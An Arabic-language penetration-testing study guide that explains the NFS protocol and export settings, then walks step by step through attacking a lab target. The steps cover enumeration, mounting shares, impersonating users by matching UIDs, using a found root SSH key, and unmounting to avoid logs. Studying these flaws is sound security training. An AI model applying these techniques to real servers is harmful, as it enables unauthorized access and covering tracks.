نظرة عامة
ما هو NFS؟
Network File System — نظام ملفات شبكي طوّرته Sun Microsystems. نفس فكرة SMB بالضبط: الوصول للملفات عبر الشبكة كأنها محلية. بس يستخدم بروتوكول مختلف كلياً ويشتغل بين Linux وUnix فقط.
NFS vs SMB
SMB → Windows + Linux (Samba)
NFS → Linux + Unix فقط
NFS clients ≠ SMB servers مباشرة
شبكة Windows+Linux → استخدم SMB/Samba
🔌 Ports
PORT 111 — RPC Portmapper
دليل هاتف الخدمات — يخبرك وين NFS
PORT 2049 — NFS
الخدمة الفعلية — نقل الملفات
⚠️ Authentication — الثغرة الأساسية
NFS بحد ذاته ما عنده authentication — يعتمد على RPC. والمصادقة الأكثر شيوعاً عبر UNIX UID/GID.
المشكلة الخطيرة
Server: UID 1000 = cry0l1t3
Your PC: UID 1000 = attacker
NFS ما يفرق!
= تقرأ ملفات cry0l1t3 🎯
الاستغلال العملي
sudo useradd -u 1000 attacker
sudo su attacker
# هلأ أنت UID 1000
# NFS يحسبك cry0l1t3!
⚠️ NFS يجب استخدامه على trusted networks فقط بسبب ضعف الـ authentication!
إصدارات NFS
📋 المقارنة الكاملة
| الإصدار | الميزات | Auth | Port |
|---|---|---|---|
| NFSv2 | قديم، يشتغل على UDP، مدعوم من أنظمة كثيرة | جهاز فقط | 111 + عشوائي |
| NFSv3 | ملفات أكبر من 2GB، better error reporting، مش متوافق مع v2 | جهاز فقط | 111 + عشوائي |
| NFSv4 | Kerberos، يشتغل عبر Firewall، ACLs، stateful، pNFS، multipathing | يوزر (Kerberos) | 2049 فقط ✅ |
NFSv3 Authentication — الجهاز
"هاد الجهاز IP 192.168.1.5 مسموح له"
أي شخص على هاد الجهاز يدخل! 😱
أي شخص على هاد الجهاز يدخل! 😱
NFSv4 Authentication — اليوزر
"مين أنت؟ TGT من Kerberos؟"
كل شخص يثبت هويته ✅
كل شخص يثبت هويته ✅
🔑 Kerberos في NFSv4
بدل ما ترسل باسورد على الشبكة — Kerberos يعطيك تذكرة مشفرة (TGT):
1. أنت → "أنا husein" → Kerberos Server
↓
2. Kerberos → يعطيك TGT (Ticket Granting Ticket) مشفر
↓
3. أنت → TGT → NFS Server
↓
4. NFS يتحقق → مسموح ✅ أو مرفوض ❌
💡 TGT = بيانات مشفرة — ما في باسورد يمشي على الشبكة أبداً!
🔍 كيف تعرف الإصدار؟
sudo nmap 10.129.14.128 -p111,2049 -sV -sC
PORT STATE SERVICE
111/tcp open rpcbind
| rpcinfo:
| 100003 3 2049/tcp nfs ← NFSv3
| 100003 3,4 2049/tcp nfs ← NFSv3 + v4
| 100005 1,2,3 45837/tcp mountd ← ports عشوائية = v3
| 100021 1,3,4 44629/tcp nlockmgr
2049/tcp open nfs_acl
💡 ports عشوائية (mountd, nlockmgr) = NFSv3 مؤكد. NFSv4 = Port 2049 فقط!
الإعدادات — /etc/exports
ملف الإعداد
ملف الإعداد: /etc/exports — يحدد أي مجلدات مشارَكة ولمن.
cat /etc/exports
# مثال NFSv3:
/srv/homes hostname1(rw,sync,no_subtree_check)
/srv/homes hostname2(ro,sync,no_subtree_check)
# مثال NFSv4:
/srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt)
💡 البنية:
المجلد الجهاز/subnet(صلاحيات)📋 شرح الخيارات
| الخيار | الوظيفة |
|---|---|
| rw | قراءة وكتابة |
| ro | قراءة فقط |
| sync | نقل بيانات متزامن (أبطأ لكن أأمن) |
| async | نقل بيانات غير متزامن (أسرع) |
| secure | ports فوق 1024 ممنوعة |
| insecure | ports فوق 1024 مسموحة |
| no_subtree_check | تعطيل فحص المجلدات الفرعية |
| root_squash | root على الـ client = anonymous على السيرفر ✅ |
| no_root_squash | root على الـ client = root على السيرفر ⚠️ |
مثال عملي — إضافة Share
echo '/mnt/nfs 10.129.14.0/24(sync,no_subtree_check)' >> /etc/exports
systemctl restart nfs-kernel-server
exportfs
/mnt/nfs 10.129.14.0/24
# كل الأجهزة في الـ subnet يقدرون يـ mount هاد المجلد
Dangerous Settings
⚠️ الإعدادات الخطيرة
| الإعداد | الخطر |
|---|---|
| rw | كتابة كاملة — رفع ملفات خبيثة |
| insecure | أي يوزر عادي يتصل بدون ما يكون root |
| nohide | يكشف مجلدات مخفية مـ mount فيها |
| no_root_squash | root على جهازك = root على السيرفر 💀 |
| *(rw,no_root_squash) | أخطر إعداد — أي IP + root كامل 💀💀 |
💀 root_squash vs no_root_squash
✅ root_squash (آمن)
أنت root على جهازك
↓
NFS يحولك لـ anonymous (UID 65534)
↓
ما تقدر تعدل ملفات root على السيرفر ✅
↓
NFS يحولك لـ anonymous (UID 65534)
↓
ما تقدر تعدل ملفات root على السيرفر ✅
⚠️ no_root_squash (خطير)
أنت root على جهازك
↓
NFS يعطيك root على السيرفر
↓
تقرأ id_rsa وتدخل كـ root 💀
↓
NFS يعطيك root على السيرفر
↓
تقرأ id_rsa وتدخل كـ root 💀
💀 UID/GID Impersonation Attack
Mount NFS
target-NFS/
→
ls -n
شوف UID/GID
→
useradd -u
نفس الـ UID
→
su attacker
تحول للـ UID
→
Full Access
ملفات اليوزر
🎯 السيرفر يتحقق من الـ UID — مش اسم اليوزر. اصنع يوزر بنفس الـ UID = تنتحل هويته!
🔑 id_rsa على NFS = خطر كبير
# لو لاقيت id_rsa على الـ share:
ls -n mnt/nfs/
-rw-r--r-- 1 0 0 1872 id_rsa ← UID 0 = root!
# حمّله واستخدمه:
cp mnt/nfs/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa root@10.129.14.128
root@server:~# ← root access كامل 👑
💀 Private SSH keys على NFS = باب مفتوح للسيرفر كله!
الأدوات
اختر الأداة:
Nmap
showmount
mount
ls -n
UID Attack
🔍 Nmap على NFS
Scan أساسي:
sudo nmap 10.129.14.128 -p111,2049 -sV -sC
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 45837/tcp mountd
| 100021 1,3,4 44629/tcp nlockmgr
2049/tcp open nfs_acl 3 (RPC #100227)
NSE Scripts — كل شيء دفعة:
sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049
| nfs-ls: Volume /mnt/nfs
| id_rsa UID:0 GID:0 ← root file!
| id_rsa.pub UID:0 GID:0
| nfs.share UID:0 GID:0
|
| nfs-showmount:
|_ /mnt/nfs 10.129.14.0/24
|
| nfs-statfs:
|_ /mnt/nfs 30GB total, 8GB used
💡 nfs* = شغّل كل NSE scripts تبدأ بـ nfs دفعة وحدة!
📋 showmount — عرض الـ Shares
showmount -e 10.129.14.128
Export list for 10.129.14.128:
/mnt/nfs 10.129.14.0/24
# المجلد المشارَك + من يقدر يوصله
💡 أسرع طريقة لتشوف الـ NFS shares قبل الـ mount
🔌 mount — توصيل الـ Share
mkdir target-NFS
sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
cd target-NFS && tree .
.
└── mnt
└── nfs
├── id_rsa
├── id_rsa.pub
└── nfs.share
بعد ما تخلص — umount:
cd .. && sudo umount ./target-NFS
# مهم! يوقف تسجيل اتصالك في الـ logs
⚠️ خيارات الأمر:
-t nfs = النوع NFS
-o nolock = بدون file locking (يشتغل مع سيرفرات قديمة)
IP:/ = الـ root كامل للسيرفر
-t nfs = النوع NFS
-o nolock = بدون file locking (يشتغل مع سيرفرات قديمة)
IP:/ = الـ root كامل للسيرفر
📂 ls -n — عرض UID/GID
ls -l mnt/nfs/
# يعرض أسماء المستخدمين:
-rw-r--r-- 1 cry0l1t3 cry0l1t3 cry0l1t3.priv
-rw-r--r-- 1 root root id_rsa
ls -n mnt/nfs/
# يعرض الأرقام UID/GID:
-rw-r--r-- 1 1000 1000 cry0l1t3.priv
-rw-r--r-- 1 0 0 id_rsa
-rw-r--r-- 1 0 1000 backup.sh
💡 ls -n يعطيك الأرقام الفعلية — هاي اللي تحتاجها لـ UID impersonation!
👤 UID Impersonation Attack
# 1. شوف الـ UID من الـ share
ls -n mnt/nfs/
-rw-r--r-- 1 1000 1000 cry0l1t3.priv
# 2. اصنع يوزر بنفس الـ UID
sudo useradd -u 1000 attacker
# 3. تحول للـ يوزر
sudo su attacker
# 4. هلأ أنت UID 1000 = cry0l1t3 على NFS!
cat mnt/nfs/cry0l1t3.priv
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAA...
💀 لو UID 0 = تقدر تقرأ id_rsa = ssh كـ root مباشرة!
Methodology
⛓️ خطوات الهجوم الكاملة
1
Nmap Scan
اكتشاف ports 111/2049 + إصدار NFS + محتوى الـ shares
sudo nmap --script nfs* -p111,2049 -sV TARGET
👀 ports عشوائية (mountd) = NFSv3 = auth ضعيف
2
showmount — شوف الـ Shares
قائمة الـ shares المتاحة ومن يقدر يوصلها
showmount -e TARGET
3
Mount الـ Share
وصّل الـ share على جهازك
mkdir target-NFS
sudo mount -t nfs TARGET:/ ./target-NFS/ -o nolock
4
شوف UID/GID
حدد الأرقام لكل ملف
ls -n target-NFS/mnt/nfs/
ركز على:
UID 0 = root → id_rsa = SSH access
UID 1000+ = users عاديين → ملفاتهم الشخصية
UID 0 = root → id_rsa = SSH access
UID 1000+ = users عاديين → ملفاتهم الشخصية
5
UID Impersonation
اصنع يوزر بنفس الـ UID واقرأ الملفات
sudo useradd -u 1000 attacker && sudo su attacker
6
Unmount بعد ما تخلص
أوقف تسجيل اتصالك — OPSEC مهم!
sudo umount ./target-NFS
🧠 قواعد التفكير
✅ دايماً افعل:
• شوف الـ UID/GID بـ ls -n
• دور على id_rsa أول شي
• تحقق من no_root_squash
• umount بعد ما تخلص
• دور على id_rsa أول شي
• تحقق من no_root_squash
• umount بعد ما تخلص
⚠️ انتبه:
• root_squash = root محمي
• NFSv4 + Kerberos = أصعب
• NFSv3 = هدف سهل
• * في exports = أي IP مسموح
• NFSv4 + Kerberos = أصعب
• NFSv3 = هدف سهل
• * في exports = أي IP مسموح
Explained — Q&A
🌐 الأساسيات
إيش الفرق بين NFS وSMB؟
نفس الفكرة — مشاركة ملفات عبر الشبكة. الفرق في نظام التشغيل: SMB لـ Windows (وLinux عبر Samba)، NFS لـ Linux وUnix فقط. NFS clients ما يقدرون يتكلموا مع SMB servers مباشرة.
ما هو mount؟
mount = توصيل مصدر بيانات بمجلد محلي. مثل كابل USB بس عبر الشبكة. بعد الـ mount تتصفح ملفات السيرفر البعيد كأنها على جهازك محلياً.
🔑 UID/GID
ليش NFS يستخدم أرقام UID/GID بدل أسماء؟
لأن الأسماء ممكن تتكرر — "admin" على السيرفر يختلف عن "admin" على جهازك. الأرقام فريدة ودقيقة. UID 1000 = نفس المعنى على أي جهاز.
كيف تستغل الـ UID في الـ pentest؟
بعد mount الـ share، تشوف الـ UID بـ ls -n. بعدين تصنع يوزر على جهازك بنفس الـ UID. NFS يحسبك نفس الشخص! تقدر تقرأ ملفاته كاملة.
⚙️ الإعدادات
إيش يعني root_squash؟
يحمي السيرفر من root على الـ client. لو أنت root على جهازك، NFS يحولك لـ anonymous (UID 65534) — ما تقدر تعدل ملفات root على السيرفر. no_root_squash = العكس = خطر!
إيش يعني * في /etc/exports؟
wildcard = أي IP على الشبكة أو الإنترنت مسموح له. لو مع rw وno_root_squash = أخطر إعداد ممكن. أي شخص في العالم يقدر يـ mount ويعدل!
إيش -o nolock في الـ mount؟
يقول للسيرفر "ما أحتاج خدمة file locking". يضمن نجاح الـ mount حتى مع سيرفرات قديمة أو مقيدة. في الـ pentest أنت بس تقرأ — ما تحتاج locking أصلاً.
🔒 Kerberos و NFSv4
إيش هو Kerberos؟
نظام مصادقة يستخدم تذاكر مشفرة (TGT) بدل باسوردات. تثبت هويتك مرة واحدة لـ Kerberos Server → يعطيك TGT → تستخدمه للدخول لأي خدمة. ما في باسورد يمشي على الشبكة أبداً!
ليش ports عشوائية تعني NFSv3؟
NFSv3 يحتاج portmapper (111) + mountd (عشوائي) + nlockmgr (عشوائي). NFSv4 ألغى كل هذا وصار يشتغل على Port 2049 فقط. لو شفت ports عشوائية في nmap = NFSv3 مؤكد.
🎯 OPSEC
ليش مهم تعمل umount بعد ما تخلص؟
لو تركت الـ mount مفتوح، السيرفر يسجل اتصالك في الـ logs دايماً. المسؤول يشوفك! كمان أي تعديل بالخطأ يؤثر على السيرفر مباشرة. umount = تنظيف آثارك.